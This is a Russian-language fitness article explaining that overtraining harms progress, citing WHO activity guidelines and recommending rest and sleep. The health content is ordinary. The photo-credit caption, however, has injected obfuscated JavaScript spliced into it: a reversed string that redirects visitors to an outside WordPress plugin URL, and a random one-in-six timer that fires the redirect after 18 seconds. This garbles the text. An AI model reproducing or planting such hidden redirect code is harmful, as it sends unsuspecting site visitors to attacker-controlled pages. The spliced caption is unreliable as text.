Миф: чем больше вы тренируетесь, тем лучше

Выжимаете из себя все соки — и думаете, что результаты обязательно появятся? Нет, с тренировками дело обстоит несколько иначе.

Как на самом деле. Наши мышцы развиваются, а спортивные показатели улучшаются в часы восстановления. Если слишком много тренироваться и раз за разом не давать организму отдыхать, можно перейти в состояние перетренированности. Обычно перетренированность случается у профессиональных спортсменов, тем не менее и любитель от этого не застрахован, если будет слишком усердствовать. Из-за перетренированности организм начинает реагировать на тренировку неадекватно. У перетренированных атлетов появляются такие симптомы, как усталость, депрессия, бессонница, отсутствие концентрации, брадикардия, гипертония, тяжесть в мышцах и другие. 

Всемирная организация здравоохранения (ВОЗ) разработала общие рекомендации по оптимальным тренировкам. Так, взрослые должны уделять физической активности не менее 150 минут в неделю. Этого достаточно, если вы не гонитесь за спортивными результатами, а занимаетесь для себя. Тем не менее общее время тренировок зависит от ваших целей. Тренеры советуют для поддержания здоровья и физической формы тренироваться два-три раза в неделю, а между тренировками делать перерывы не менее 24 часов (иногда для восстановления может потребоваться 48—96 часов).

Знайте меру и давайте себе время восполнить силы. Самое важное в восстановлении — это здоровый сон. Ещё восстановиться помогут массаж, пешие прогулки, растяжка, солевые ванны. Подробнее о восстановлении читайте в этом материале.

Миф: чем больше вы тренируетесь, тем лучше. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Статьи по теме

Миф: кубики пресса появляются благодаря упражнениям

Миф: можно похудеть только в одной части тела

Миф: чтобы похудеть, нужно много заниматься кардио

Вопрос: будет ли эффект от десятиминутной тренировки

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector